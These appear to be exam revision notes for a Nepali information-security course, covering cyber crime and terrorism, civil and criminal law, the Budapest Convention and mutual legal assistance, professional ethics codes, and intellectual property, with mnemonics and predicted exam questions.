What makes it terrorism. Cyber terrorism (often written as one word, cyberterrorism) needs three things together: a political, religious or ideological motive; an aim to spread fear or coerce a government; and an effect of violence or serious harm, typically through critical infrastructure (power, water, dams, hospitals, air traffic). By Denning's test, an attack that only disrupts non-essential services or is a costly nuisance is not terrorism. In practice terrorist groups use the internet far more for propaganda, recruitment, financing and planning than for destructive attacks. In January 2015 a pro-ISIS group calling itself CyberCaliphate hijacked the Twitter and YouTube accounts of US Central Command: frightening propaganda, but no physical harm.
| Basis | Cyber crime | Cyber terrorism |
|---|---|---|
| Motive | personal gain: money, data, revenge | ideology, politics, religion |
| Actor | individuals, criminal gangs, insiders | terrorist groups and their supporters |
| Target | individuals, banks, businesses | governments, the military, public services, critical infrastructure, civilians |
| Aim | profit, ideally unnoticed; never to create fear | fear, publicity and propaganda, coercion of a government, inciting violence |
| Harm | financial loss, stolen data | disruption that threatens life or public order |
| Example | the NIC Asia Bank SWIFT fraud, Nepal, 2017 | feared attacks on a grid or a dam; propaganda hijacks such as CyberCaliphate, 2015 |
Between and beyond the two. Hacktivism is hacking for a political or social cause by activists: DDoS attacks, defacement and leaks meant to protest or embarrass, not to profit or to kill (the Anonymous campaigns). Cyber warfare is state against state: Stuxnet, found in 2010, damaged Iran's uranium enrichment centrifuges, and in December 2015 an attack cut power to about 225,000 customers in Ukraine (cyber warfare, chapter 1).
Grey zones. The label follows the motive, not the damage. Colonial Pipeline (May 2021) was hit by a criminal ransomware group that wanted money, yet the shutdown caused fuel shortages along the US east coast. WannaCry (2017) was ransomware, but the US and UK governments attributed it to North Korea: crime and state action at once.
Nepal. In October 2017 attackers used NIC Asia Bank's SWIFT connection to send fraudulent transfers of about USD 4.4 million abroad while the bank was closed for the festival holidays; most of the money was recovered with Nepal Rastra Bank's help. On 28 January 2023 a DDoS attack on the Government Integrated Data Centre took the national portal and hundreds of government websites offline for hours and stopped immigration clearance at Tribhuvan International Airport. The attackers were not identified, so the motive, and therefore the label, is unknown.
International law. A crime that crosses borders needs treaties. The Council of Europe's Convention on Cybercrime (Budapest, 2001), the first of them, makes its parties define the same offences and speeds up cross-border evidence sharing (8.3). Nepal is not a party. The UN General Assembly adopted a UN Convention against Cybercrime in December 2024.
- Differentiate between cyber crime and cyber terrorism with suitable examples. How do hacktivism and cyber warfare differ from both? Predicted, ch 8 Q1 · 6+4
8.3Legal and ethical frameworks
Types of law, and civil against criminal law PREDICTED
| Type | What it does | Example |
|---|---|---|
| Constitutional | governs the structure of the state, defines the powers and limits of government, and protects fundamental rights | the Constitution of Nepal 2072 (2015): the right to privacy, Article 28 |
| Civil | matters that are not crimes but need an impartial arbiter between individuals and organisations: contract, family, tort and property law | a customer sues an online shop whose leak emptied her wallet |
| Criminal | violations harmful to society, punishable by the state | theft, murder, fraud, cyber crime; the deck's example: the state prosecutes a robber and seeks penalties such as imprisonment as the consequence of the criminal act; a hacker prosecuted under the ETA |
| Administrative | regulates government agencies and controls how public authorities decide: licensing, regulatory enforcement, the acts of ministries and regulators. The class notes: it defines standards of performance and conduct for major industries and government agencies | Nepal Rastra Bank's directives to banks; a licence granted or withdrawn by a regulator |
| Statutory | law written and enacted by the legislature, across many domains | data protection, cyber and labour laws: the ETA 2063, the Privacy Act 2075 |
| International | governs the relations between states | human rights law, international humanitarian law, cyber norms; the Budapest Convention (8.3) |
Civil law up close. The deck calls it a wide variety of laws that govern a nation or state: the large body of law designed to keep society orderly, settling matters that are not crimes but need an impartial arbiter, without punishing anyone. Its branches: contract, family (marriage, divorce, annulment, custody, adoption, birth, child support), tort (civil wrongs such as negligence) and property. Property is real (land and whatever is permanently attached to it: buildings, structures, natural resources) or personal, which is tangible (jewellery, animals, merchandise) or intangible (patents, copyrights, stocks, bonds). So intellectual property (8.3) is personal property. In Nepal these rules sit in the National Civil Code (Muluki Dewani Samhita) 2074 (2017), the deck's reference.
Civil against criminal law
| Point | Civil law | Criminal law |
|---|---|---|
| Deals with | disputes between individuals, organisations, or the two | crime and the legal punishment of criminal offences |
| The harm is against | the person or firm that lost | society as a whole |
| Who brings it | the plaintiff, the party wronged | the state; in Nepal the Government of Nepal is plaintiff (ETA section 75) |
| Burden of proof | on the plaintiff | always on the state |
| Standard of proof | preponderance of evidence: a greater than 50% chance that the claim is true | beyond reasonable doubt: if the judge or jury has a reasonable doubt, the defendant cannot be convicted |
| Outcome | compensation for injuries or damages; disposition of property | a guilty defendant is punished by imprisonment and/or fines |
| Examples | landlord and tenant, divorce, custody, property disputes, personal injury | theft, assault, robbery, trafficking in controlled substances, murder |
Cyber cases on both sides (the deck's examples)
- Criminal: hacking, unauthorised access, identity theft, spreading malware and ransomware, cyberbullying and harassment, and online fraud are prosecuted under criminal statutes: the Computer Fraud and Abuse Act in the United States, chapter 9 of the ETA in Nepal.
- Civil: a company suffering financial losses due to a cyberattack can file a lawsuit against the perpetrator for compensation, and customers and regulators can claim against a company that failed them. The deck's figures: a data breach settled for USD 700 million (Equifax, whose 2017 breach exposed about 147 million people, settled with US regulators and states for up to that sum in 2019) and USD 5 billion for privacy violations (the penalty the US Federal Trade Commission imposed on Facebook in 2019).
- Intellectual property theft, also civil: Oracle accused Google of using its Java code without permission to build Android. After a decade-long battle the US Supreme Court ruled for Google, holding the copying a fair use.
- Concurrent proceedings: one incident can bring both. The state prosecutes the hacker, and the people and organisations he harmed sue him separately. A bank breach can even add a third: a criminal case against the hacker, civil claims by customers, and administrative action by the central bank.
To remember it, picture a student who breaks into the college exam portal and changes results. The Government of Nepal prosecutes him (criminal: beyond reasonable doubt, jail or a fine); the college sues him for the cost of rebuilding the portal (civil: more likely than not, compensation). Same act, two cases, two standards of proof.
- Explain the different types of law, with an example of each. Describe any four laws or regulations that govern cyber security. Predicted, ch 8 Q3 · 4+6
- Differentiate between civil law and criminal law, with a cyber case of each. What are the elements of a crime? Explain them with a cyber crime example. Predicted, ch 8 Q10 · 4+6
What makes an act a crime: actus reus and mens rea PREDICTED
Act or omission. A crime can be something done (breaking into a server) or something not done that the law requires (driving without a licence; failing to keep records a law demands). The principle of natural justice behind both: intent and act must concur, both present at once, to make a crime.
| Element | Meaning | The rules the deck gives |
|---|---|---|
| Actus reus, the guilty act | a voluntary action (or omission) that causes the damage or harm | no liability for acts done in a state of automatism (an involuntary act, such as a seizure), but automatism from self-induced intoxication is no excuse; a person cannot be punished for bad thoughts alone; words can be acts: threats, perjury, conspiracy and solicitation |
| Mens rea, the guilty mind | the mental intention, the state of mind at the time of the crime | the act must be voluntary, premeditated or purposeful; the act is not guilty until the mind is guilty; the prosecution must prove not only that the accused did it, but that the act or omission was done with intent to commit the crime |
To remember it: actus sounds like act and mens like mental, the guilty act and the guilty mind. The old Latin maxim joins them: actus non facit reum nisi mens sit rea, the act does not make a person guilty unless the mind is guilty too.
Proof. At a criminal trial the prosecutor must prove both, actus reus and mens rea, beyond reasonable doubt. The exception is the strict liability offence, where mens rea is not required and the act alone is enough. The deck's examples: selling alcohol to a minor, over-speeding, driving without a licence, drink driving, and sexual misconduct with a minor. They protect the public from harms where "I did not know her age" or "I did not see the speedometer" would otherwise be the easiest excuse in the world.
Mens rea in Nepal's cyber law. The ETA writes the guilty mind into its offences: source code must be pirated, destroyed or altered "knowingly or with mala fide intention" (section 44); unauthorised access needs the intention of reaching a program, information or data (section 45); damage needs the intention of causing wrongful loss (section 46). Picture two hostel students on a neighbour's Wi-Fi: one joined it by mistake, taking it for the hostel's open network, an act without a guilty mind; the other cracked its password to download films, the act and the intent together.
A case to test it on: the ex-Google engineer, 2024 to 2026
The deck's case, shown as a news report. On 6 March 2024 US agents arrested Linwei Ding (also known as Leon Ding), a 38-year-old Chinese national living in California and a software engineer at Google, and the US Department of Justice announced his indictment for stealing trade secrets.
- What he took: between May 2022 and April 2023, more than 500 confidential files about Google's AI supercomputing data centres (its custom chips, networking and the software that runs them), moved from Google's network to his personal cloud account.
- For whom: two companies in China, looking to gain an edge in the AI race, with which he was secretly working: he negotiated to become chief technology officer of one and founded the other. The US Attorney, Ismail Ramsey, said Ding had been secretly working to enrich himself and the two companies, and that the stolen secrets gave them an unfair competitive advantage.
- The second charge: a 2025 indictment added economic espionage, which needs one more element in the mind: intent or knowledge that the theft will benefit a foreign government.
The two elements, tested on the case:
- Actus reus: copying the files from Google's network to his own account, and later to his own computer. Proved.
- Mens rea for theft of trade secrets: he knew the files were confidential and took them for his own and his companies' gain. Proved: a jury convicted him on seven counts in January 2026.
- Mens rea for economic espionage: that he meant the theft to benefit the Chinese government. The jury convicted on seven counts here too, but in August 2026 the judge set them aside: the evidence could not show beyond reasonable doubt that he knew or intended his acts to benefit the Chinese government.
The lesson: one act, two crimes, and the whole difference lay in the mind. In September 2026 he was sentenced to a year less a day in prison for the trade secret thefts. The two crimes come from the Economic Espionage Act 1996 (intellectual property).
- Differentiate between civil law and criminal law, with a cyber case of each. What are the elements of a crime? Explain them with a cyber crime example. Predicted, ch 8 Q10 · 4+6
Legal frameworks: legal systems and the laws that matter PREDICTED
The core responsibility: why a practitioner needs it (the deck's opening). A future information security professional must understand the scope of an organisation's legal and ethical responsibilities. To minimise liabilities and reduce risk, the practitioner must understand the current legal environment, stay current with laws and regulations, and watch for new issues as they emerge: a new EU product law or a Nepali bill can change tomorrow's duties.
Three major legal systems decide where the law comes from:
- Civil law: the most common system; the law is written in codes and statutes, and judges apply them. Continental Europe follows it.
- Common law: judges' earlier decisions (precedents) carry great weight alongside statutes; the United States, the United Kingdom and most former British colonies use it.
- Religious law: religious doctrine or its interpretation is the source of law.
Nepal mixes the first two: its main laws are codified (the Muluki codes of 2074), and under Article 128(4) of the Constitution everyone, the lower courts included, must abide by the interpretations and legal principles the Supreme Court lays down in its cases.
Inside each system the law comes in types (constitutional, civil, criminal, administrative, statutory, international), and a criminal case and a civil case are proved to different standards: that is the types of law card.
Laws and regulations a security professional meets
The deck lists the UK, the EU and a set of "others", mostly American; the class notes add the main US laws.
| Where | Law | What it does |
|---|---|---|
| International | Convention on Cybercrime (Budapest, 2001) | common cyber offences and cross-border cooperation (next card) |
| United Kingdom | Copyright, Designs and Patents Act 1988 | copyright, design and patent rights; a computer program is protected as a literary work |
| Computer Misuse Act 1990 | the UK's hacking law: unauthorised access to computer material (section 1), access with intent to commit further offences (section 2), unauthorised acts that impair a computer (section 3), and making or supplying hacking tools (section 3A) | |
| Human Rights Act 1998 | brings the European Convention on Human Rights into UK law, including the right to respect for private life and correspondence (Article 8) | |
| Regulation of Investigatory Powers Act 2000 | when public bodies may intercept communications, carry out surveillance and demand encryption keys | |
| Data Protection Act 2018 | the UK's data protection law, beside the UK GDPR, enforced by the Information Commissioner's Office | |
| United States | Computer Fraud and Abuse Act (CFAA) 1986 | the main federal anti-hacking law: access without or beyond authorisation (classified information included), using a federal computer for fraud, causing malicious damage |
| Electronic Communications Privacy Act (ECPA) 1986 | makes intercepting or accessing others' electronic communications, invading a person's electronic privacy, a crime | |
| Digital Millennium Copyright Act (DMCA) 1998 | criminalises producing technology meant to circumvent digital rights management (DRM), and the act of circumventing access controls, even when no copyright is infringed | |
| USA PATRIOT Act 2001 | wider surveillance powers for law enforcement, such as one blanket authorisation to monitor all communications to or from a person | |
| Federal Information Security Management Act (FISMA) 2002, modernised 2014 | federal agencies and their contractors follow the security standards NIST develops | |
| Sarbanes-Oxley Act (SOX) 2002 | standards for the financial reporting of publicly traded companies, with internal controls and criminal penalties for violations | |
| Gramm-Leach-Bliley Act (GLBA) 1999 | financial institutions protect the confidentiality and integrity of consumers' financial information | |
| Health Insurance Portability and Accountability Act (HIPAA) 1996; HITECH Act 2009 | strict security measures for hospitals, physicians and insurers to protect health information; HITECH updated HIPAA's privacy and security requirements | |
| European Union | General Data Protection Regulation (GDPR), Regulation 2016/679 | the fundamental EU data protection law: personal data (8.4) |
| NIS Directive 2016/1148, replaced by the NIS2 Directive 2022/2555 | critical infrastructure and digital services: security duties for essential and important sectors; under NIS2, early warning of a significant incident within 24 hours, full notification within 72 | |
| Digital Operational Resilience Act (DORA), Regulation 2022/2554 | cybersecurity and operational resilience of the financial sector: banks, insurers, fintechs and the ICT providers serving them, applied from 17 January 2025 | |
| Cyber Resilience Act (CRA), Regulation 2024/2847 | security requirements for products with digital elements, hardware and software: secure by design, vulnerabilities handled for the product's life, actively exploited flaws reported | |
| Nepal | ETA 2063 (2008) and others | 8.8 |
The UK law that a hack created. In 1984 and 1985 Robert Schifreen and Stephen Gold used an engineer's test login they had discovered to get into British Telecom's Prestel service, even reading the Duke of Edinburgh's mailbox. Convicted under forgery law, they were cleared on appeal, upheld by the House of Lords in 1988, because typing a password was not forgery and no law yet made hacking a crime. Parliament answered with the Computer Misuse Act 1990: law lagging technology, then catching up.
HITRUST, which the deck pairs with HIPAA (writing it HI-TRUST), is not a law but a certifiable security framework that many US health organisations use to show HIPAA compliance; PCI DSS, also on the deck's list, is a standard too (below).
Standards are not laws. The Payment Card Industry Data Security Standard (PCI DSS) sets minimum security requirements for every merchant that handles credit or debit card data, but it binds through contracts with the card brands, not by statute; ISO/IEC 27001 and the NIST Cybersecurity Framework are voluntary until a law, a regulator or a contract adopts them. A compliance audit checks against whichever applies.
Export controls. Strong encryption is treated as dual-use technology. It was once virtually impossible to export even low-grade encryption from the United States; today the Commerce Department's Bureau of Industry and Security lets firms submit retail and mass-market security software for review and export approval. The Wassenaar Arrangement (1996) coordinates such controls among its member states.
Jurisdiction. Attacks cross borders in milliseconds, laws stop at them. Nepal's ETA section 55 lets Nepal prosecute an offender abroad when a computer in Nepal is involved, but evidence held abroad still needs mutual legal assistance (Nepal's Mutual Legal Assistance Act 2070 (2014)) or a treaty (next card).
- Explain the different types of law, with an example of each. Describe any four laws or regulations that govern cyber security. Predicted, ch 8 Q3 · 4+6
International law: the Budapest Convention and mutual legal assistance PREDICTED
Why so few international laws. Domestic laws and customs stop at the border, and international trade is governed by treaties and trade agreements instead. Because of the political complexities of relations between nations, and their cultural differences, there are few international laws on privacy and information security. Yet an attacker in one country, a server in a second and a victim in a third is the normal shape of a cyber crime. International law, the law that governs relations between states (human rights law, international humanitarian law, cyber norms), is how the gap is closed, and the Budapest Convention is its main instrument.
The legal bodies behind it (the deck's heading is international laws and legal bodies):
- Council of Europe: the Convention's home, the human rights organisation of 46 European states, based in Strasbourg and not part of the European Union. The deck's "European Council Cyber-Crime Convention" is a slip: the European Council is the EU's summit of heads of state or government.
- Cybercrime Convention Committee (T-CY): the parties meeting together; it assesses how each of them applies the treaty, and it drafted the Second Additional Protocol (2022) on electronic evidence.
- United Nations: has since adopted a global treaty of its own (below).
| Part | What each party must do |
|---|---|
| 1. Criminalise conduct (substantive law) | make crimes of illegal access, illegal interception, data interference, system interference, misuse of devices, computer-related forgery, computer-related fraud, offences related to child pornography, and offences related to copyright and neighbouring rights |
| 2. Procedural tools | give investigators the powers: expedited preservation of stored data, search and seizure of computer data, and real-time collection and interception of computer data |
| 3. International cooperation | extradition, mutual legal assistance (including for accessing stored data and for interception), spontaneous information, expedited preservation at another party's request, and a 24/7 network of points of contact |
Answers: the nine offences the Convention makes every party criminalise, in the order of its Articles 2 to 10.
How it decodes: Nine words, nine offences, initials in order. It reads as Mother, in Ilam, finishes the curd, blows on the momos to cool them, and licks the dirty spoon. The two "illegal" offences go by their second word, Access and Interception. Two F's: Fukaauchhin is forgery, which comes first; Fohor is fraud. Two C's: Chamcha is child pornography; Chaatchhin, the last, is copyright.
- AAama Illegal access: entering a computer system without right
- IIlamma Illegal interception: catching non-public transmissions of computer data by technical means
- DDahi Data interference: damaging, deleting, altering or suppressing computer data
- SSakera System interference: seriously hindering a computer system's working, a DDoS for instance
- MMomo Misuse of devices: making, selling or holding tools or passwords made for these crimes
- FFukaauchhin Computer-related forgery: altering data so that false data passes as authentic
- FFohor Computer-related fraud: causing a loss of property through data or system interference, for gain
- CChamcha Child pornography offences: producing, offering, distributing or possessing it through a computer system
- CChaatchhin Copyright offences: wilful infringement of copyright and neighbouring rights on a commercial scale
What the deck says it aims at (from Whitman and Mattord): an international task force overseeing Internet security functions for standardised international technology laws; more effective international investigations into breaches of technology law; and, overall, simpler acquisition of information by law enforcement agents for certain international crimes, and a simpler extradition process. Its reception: intellectual property rights advocates welcomed its emphasis on prosecuting copyright infringement, but it lacks realistic provisions for enforcement: no court or police force stands above the parties, so each applies it through its own law.
Who has joined. The deck's figures, ratified by 21 countries with 22 more signatories including the United Kingdom, date from its early years. A signatory has signed and expressed the intention to comply, but the treaty binds it only once it ratifies. The United States ratified in 2006 and the United Kingdom in 2011, and by August 2025, 81 states were parties, many far from Europe (Japan, Australia and Sri Lanka among them); the Council of Europe's list in 2026 shows 83, with 14 more that have signed or been invited to accede. Nepal is not a party.
Its reach beyond the parties is what the deck's world map shows: dark dots for the parties, thickest in Europe but on every inhabited continent; other colours for states that have signed or been invited to accede, or that draw on it for their own laws; and the figure 130+, the Council of Europe's count of countries that have aligned their cyber crime laws with the Convention (more than 130 by December 2023). Any country may use it as a guideline, checklist or model law without joining.
The deck's verdict, the line under the three-part diagram on its slide: the Convention is the only binding international instrument and guiding legislative tool in the fight against cyber crime.
Mutual legal assistance
Mutual legal assistance (MLA) is the formal way one state asks another to gather evidence or take a step in a criminal case for it: produce server logs or subscriber records, search premises, take statements, freeze assets or serve documents. Requests pass between central authorities, usually the ministries of justice or home affairs, under a treaty, a convention such as Budapest, or a promise of reciprocity. Its weakness is speed: a formal request takes months, while logs are overwritten in days. The Convention's answers are expedited preservation, under which the other party freezes the data at once, before the formal request arrives, and the 24/7 network of contact points that never closes.
- Preserve: ask the other country's 24/7 contact point to preserve the logs or account data now.
- Request: the central authority sends a formal MLA request: the case, the offence, the evidence wanted and the legal basis.
- Check: the requested state tests it against its own law, for example that the act is a crime there too (dual criminality).
- Execute: its police or courts collect the evidence with their own powers, such as a production order or a search.
- Return: the evidence travels back through the central authorities, in a form the requesting court will accept.
The deck's example: AlphaBay and Hansa, July 2017. Two of the largest criminal dark web markets, trading over 350,000 illicit commodities (drugs, firearms, cybercrime malware), were shut down by two operations led by the FBI, the US Drug Enforcement Administration and the Dutch National Police, with Europol's support.
- Countries involved: the United States, the Netherlands, Germany, Lithuania, Thailand, France, the United Kingdom and others. They shared electronic evidence (server logs, user data, bitcoin addresses) through mutual legal assistance channels, which the deck credits to the Budapest Convention.
- The trap: the Dutch police had quietly taken over Hansa a month earlier, so when AlphaBay vanished its users fled straight into a market the police were running.
- Result: both markets closed, millions in cryptocurrency seized, thousands of darknet users identified and investigated, and a strong signal about international cooperation on cyber crime. Europol, announcing it on 20 July 2017 after months of preparation and coordination, ranked it among the most sophisticated takedown operations ever seen against crime online, and expected hundreds of new investigations in Europe to follow.
Nepal's position. Without the Convention, Nepal relies on its Mutual Legal Assistance Act 2070 (2014), bilateral arrangements and reciprocity. Section 55 of the ETA lets Nepal try an offender abroad whose act involved a computer in Nepal, but trying him still needs him and the evidence brought here. A wider United Nations Convention against Cybercrime, adopted by the General Assembly in December 2024, opened for signature in Hanoi on 25 October 2025.
To remember it, picture a wallet scam run from a laptop in Malaysia, through a server in the Netherlands, against victims in Pokhara. Nepal's police can name the crime, but the logs sit in Amsterdam; without a treaty they can only ask politely, and by the time a letter arrives the logs are gone.
- What is the Convention on Cybercrime (Budapest Convention)? Explain its main provisions. How does mutual legal assistance help to investigate cyber crime across borders? Explain with an example. Predicted, ch 8 Q11 · 5+5
Policy against law: when an organisation's rules can be enforced PREDICTED
Ignorance of the law. Every legal system presumes that people know the law, because the state publishes it. Nepal's National Civil Code 2074 states it in chapter 2, its general principles of civil law (section 4 makes those principles apply to civil matters generally), in section 5: "कानूनको अज्ञानता क्षम्य हुने छैन । कानून सबैले जानेको अनुमान गरिनेछ ।" Ignorance of the law shall not be excused; everyone shall be presumed to know the law. The deck shows these very clauses on its Policy against Law slide. Nobody presumes that an employee knows a rule that the organisation never gave her.
| Point | Policy | Law |
|---|---|---|
| Made by | an organisation's management | the legislature, courts and regulators |
| Binds | its employees, contractors and users | everyone in the jurisdiction |
| Ignorance | an acceptable defence | no excuse (Civil Code 2074, section 5) |
| Sanction | warning, loss of access, dismissal, a civil claim | fine, prison |
| Example | a bank's acceptable use policy bans personal USB drives | ETA section 45 bans unauthorised access |
So, to be enforceable like a law, a policy must be:
- Distributed to all individuals who are expected to comply with it.
- Readily available for employees to consult.
- Easily understood, with translations into the languages staff read, and versions for visually impaired or low-literacy employees.
- Acknowledged by the employee, usually on a signed consent form.
- Uniformly enforced for all employees, the senior ones included.
Answers: the five conditions a policy must meet before it can be enforced like a law, in the deck's order.
How it decodes: Five words, five conditions, initials in order. It reads as Dashain was fun, until Uncle flew the kite all by himself. Two U's: Uncle, the third word, is understood; Udaayo, the last, is uniformly enforced, and the uncle who grabs the string from the children is exactly the senior who exempts himself from the rules.
- DDashain Distributed to everyone who must comply. Dashain tika reaches every member of the family; the policy must reach every employee
- RRamailo Readily available for reference, on the intranet or in print
- UUncle Understood: plain words, translations, accessible versions
- AAafai Acknowledged, usually with a signed consent form
- UUdaayo Uniformly enforced for all. Udaayo: the uncle flew the kite himself, the one person the turns did not apply to
The textbook names (Whitman and Mattord) for the same five: dissemination (distribution), review (reading), comprehension (understanding), compliance (agreement) and uniform enforcement. The chapter 7 deck adds a sixth, development using industry-accepted practice, and treats the policy framework in depth (7.1); what makes a policy a policy at all is in chapter 1.
To remember it, picture a Kathmandu hospital that dismisses a clerk for copying patient files to a USB stick. If the USB ban was emailed to all staff, kept on the intranet, written in Nepali as well as English, signed by the clerk when she joined, and applied last year to a senior doctor too, the dismissal stands. If the rule lived only in the IT manager's head, she can say she never knew, and for a policy that defence works.
- Differentiate between policy and law. What conditions must an organisational policy meet before it can be enforced? Explain with an example. Predicted, ch 8 Q12 · 4+6
Ethical frameworks: the codes a security professional signs PREDICTED
Why codes exist: they give guidance in grey areas, a common standard for a whole profession, grounds for discipline, and a reason for clients and the public to trust people who hold the keys to their systems.
The deck's point about codes. Several professional organisations have established codes of conduct or ethics: ISACA (once the Information Systems Audit and Control Association, now known by its initials alone), SANS (the SysAdmin, Audit, Network and Security Institute; the class notes expand it as the System Administration, Networking and Security Institute) and (ISC)². Losing an accreditation or certification for breaking one is itself a deterrent, because it can dramatically reduce a professional's marketability and earning power (deterrence). The responsibility is threefold: act ethically and according to the policies of the employer, of the professional organisation, and the laws of society.
The Ten Commandments of Computer Ethics
Published by the Computer Ethics Institute in 1992, and still the shortest summary of computer ethics. The first eight begin "Thou shalt not"; in plain words, with an everyday breach of each:
| No. | Rule | Keyword | A breach |
|---|---|---|---|
| 1 | Do not use a computer to harm other people. | harm | spreading malware; cyberbullying a classmate |
| 2 | Do not interfere with other people's computer work. | interfere | flooding a rival team's project server the night before the demo |
| 3 | Do not snoop around in other people's computer files. | snoop | reading a roommate's chats on her unlocked phone |
| 4 | Do not use a computer to steal. | steal | draining someone's wallet with a stolen OTP |
| 5 | Do not use a computer to bear false witness. | false witness | a doctored screenshot; planting evidence on someone's laptop |
| 6 | Do not copy or use proprietary software for which you have not paid. | pirate | a cracked copy of paid design software |
| 7 | Do not use other people's computer resources without authorisation or proper compensation. | resources | mining cryptocurrency on the college lab's computers |
| 8 | Do not appropriate other people's intellectual output. | plagiarise | submitting a friend's code as one's own |
| 9 | Think about the social consequences of the program being written or the system being designed. | consequences | an app that makes stalking easy |
| 10 | Always use a computer in ways that show consideration and respect for others. | respect | trolling in comment sections |
Answers: the Ten Commandments of Computer Ethics, in order, by their keywords.
How it decodes: Ten words, ten commandments, initials in order. It reads as Hari came all the way from Itahari with a friend, reached Phewa, drank rakshi, and soon cried: across the whole country to break every rule in one evening. Two S's: Saathi is snoop, Sanga is steal. Two P's: Pugera is pirate, Piyo is plagiarise. Two R's: Rakshi is resources, Ruyo, the last word, is respect.
- HHari Harm: do not use a computer to harm other people
- IItaharibata Interfere: do not interfere with other people's computer work
- SSaathi Snoop: do not snoop in other people's files
- SSanga Steal: do not use a computer to steal
- FFewa False witness: do not use a computer to lie, forge or plant evidence
- PPugera Pirate: do not copy or use software not paid for
- RRakshi Resources: do not use others' computer resources without authorisation or compensation
- PPiyo Plagiarise: do not appropriate others' intellectual output
- CChhitai Consequences: think about the social consequences of what is built. Chhitai, soon: the consequences always come soon
- RRuyo Respect: use a computer with consideration and respect for others
The ISC2 Code of Ethics
ISC2 (long written (ISC)²) is the non-profit body behind the CISSP and other security certifications. Strict adherence to its code is a condition of certification. The preamble puts the safety and welfare of society, the common good, duty to principals and duty to each other first, then come four mandatory canons:
- Protect society, the common good, necessary public trust and confidence, and the infrastructure. Example: warn users of a dangerous flaw; refuse to build a system that spies on citizens illegally.
- Act honorably, honestly, justly, responsibly, and legally. Example: report test results truthfully and test only with authorisation.
- Provide diligent and competent service to principals. Example: keep the employer's or client's information confidential, keep skills current, declare conflicts of interest.
- Advance and protect the profession. Example: mentor juniors, share knowledge, and report members who break the code.
Order matters. The code's guidance has long said that conflicts between canons are resolved in their order, so protecting society outranks serving an employer. Members who see a violation are obliged to use the ethics complaint procedure: a sworn complaint to the Ethics Committee, whose recommendation goes to the board, which can revoke a certification.
Other codes
| Body | Who it binds | Core of the code |
|---|---|---|
| ACM Code of Ethics and Professional Conduct (2018) | computing professionals | seven general principles: contribute to society and human well-being; avoid harm; be honest and trustworthy; be fair and take action not to discriminate; respect the work required to produce new ideas; respect privacy; honour confidentiality. Also: access systems only when authorised or compelled by the public good (2.8), build systems that are robustly and usably secure (2.9) |
| ISACA Code of Professional Ethics | auditors and managers (CISA, CISM) | support compliance with standards, perform duties with objectivity and due diligence, keep information private and confidential, maintain competence, report results truthfully |
| GIAC Code of Ethics (SANS) | holders of GIAC (Global Information Assurance Certification) certificates, the certification arm of SANS | the code SANS sets for its GIAC certifications: respect for the public, for the certification, for the employer, and for oneself |
| EC-Council Code of Ethics | certified ethical hackers (CEH) | work only with authorisation, keep clients' information confidential, never misuse skills or tools |
- Differentiate between law and ethics with examples. Explain the four canons of the (ISC)2 Code of Ethics and how a security professional applies them. Predicted, ch 8 Q2 · 4+6
Intellectual property: copyright, trademark, patent and trade secret TOP 2/4
82 int · 81 Bh10
Idea and expression. The law protects the expression of an idea, not the idea itself: anyone may write a password manager, but nobody may copy another password manager's code. Nepal's Copyright Act 2059 (2002) says so directly: no copyright in any thought, concept, principle or method of operation (section 4).
- Copyright protects the expression of an idea in literary, musical, dramatic and artistic works, and software source code; Nepal's Act lists a computer program as a work. It arises automatically when the work is created; registration is optional (section 5 in Nepal). It lasts for the life of the author plus 70 years in the United States (plus 50 in Nepal). Example: the source code of a SIEM product.
- Trademark covers words, slogans and logos that identify a company and its products or services; its purpose is to avoid marketplace confusion. It is registered with the IP office. Example: a bank's name and logo; a fake banking app that copies them infringes the trademark as well as committing fraud.
- Patent protects the rights of an inventor over an invention, a product or process, in exchange for publishing how it works. To be patentable an invention must be new, useful and not obvious. Example: the RSA public key algorithm was patented in the United States in 1983; when the patent expired in 2000, anyone could use it freely.
- Trade secret protects intellectual property that is critical to a business and must not be disclosed: information that is valuable because it is secret and is kept secret by reasonable measures (non-disclosure agreements, access control). Nothing is registered or published, so it avoids the disadvantages of copyrights and patents: no disclosure and no expiry. Protection ends if the secret leaks or is legitimately reverse engineered. Example: Coca-Cola's formula; a security vendor's detection rules.
The three criteria for a patent
- New (novelty): not known, used or published anywhere before the application.
- Useful (utility, industrial application): it works and has a practical use.
- Not obvious (inventive step): a skilled person in the field would not see it as an obvious next step from what already exists.
| Point | Copyright | Trademark | Patent | Trade secret |
|---|---|---|---|---|
| Protects | expression of an idea | brand identity: names, logos, slogans | an invention | confidential business information |
| Obtained by | creation (automatic) | registration | application and examination | keeping it secret |
| Disclosed | yes, the work is published | yes, public by nature | yes, the invention is published | never |
| Term in the US | author's life + 70 years | 10 years, renewable without limit | 20 years from filing | indefinite, while secret |
| Term in Nepal | author's life + 50 years (section 14) | 7 years, renewable any number of times | 7 years, renewable twice (21 at most) | no separate Act; protected by contract |
Nepal's IP laws. The Copyright Act 2059 (2002) protects most works for the author's life plus 50 years, and applied art and photographs for 25 years; infringement, which includes making or importing devices that defeat copy protection, is punished with a fine of Rs 10,000 to Rs 100,000 or up to six months in prison or both, and more for a repeat (section 27). The Patent, Design and Trademark Act 2022 (1965), run by the Department of Industry, sets patents at 7 years renewable twice, designs at 5 years renewable twice, and trademarks at 7 years renewable without limit (sections 8, 14A, 18D and 23B); a trademark not used within a year of registration can be cancelled (section 18C).
Economic Espionage Act 1996 (United States). It made the theft of proprietary economic information a federal crime, and changed the legal meaning of theft so that it was no longer limited by physical constraints: copying a file is enough. It calls such theft economic espionage when the offender intends or knows that it will benefit a foreign government, foreign instrumentality or foreign agent. The deck's 2024 case of an ex-Google engineer shows the two crimes apart: the trade secret thefts stood, the espionage counts fell for want of proof of that intent (8.3). Its other IP case, Oracle against Google over the Java code in Android, was a copyright fight that Google won on fair use (8.3).
To remember the four, picture one busy momo shop in Kathmandu. Its name and logo on the signboard are its trademark, so no one can open a lookalike next door; the photos and words of its menu card are under copyright; a new steamer it invented that cooks twice as fast could get a patent, if it is new, useful and not obvious; and the achar recipe that only the owner's family knows is a trade secret, protected only as long as it stays in the family.
Licensing. Software is licensed, not sold. Four kinds of licence: contractual (a written agreement between vendor and customer), shrink-wrap (terms printed on the package, accepted by opening it), click-through (accepted by clicking "I agree" during installation), and cloud services agreements (terms of service accepted online, which the provider can change). Open source licences range from permissive (MIT) to copyleft (GPL), which requires derivative code to stay open.
- a. Describe the concepts like Responsible Disclosure and Protecting Whistleblower in your own words with examples. b. Differentiate between copyright, trade secret and trademark. What are the 3 eligibility criteria for a patent? 2082 internal Q6
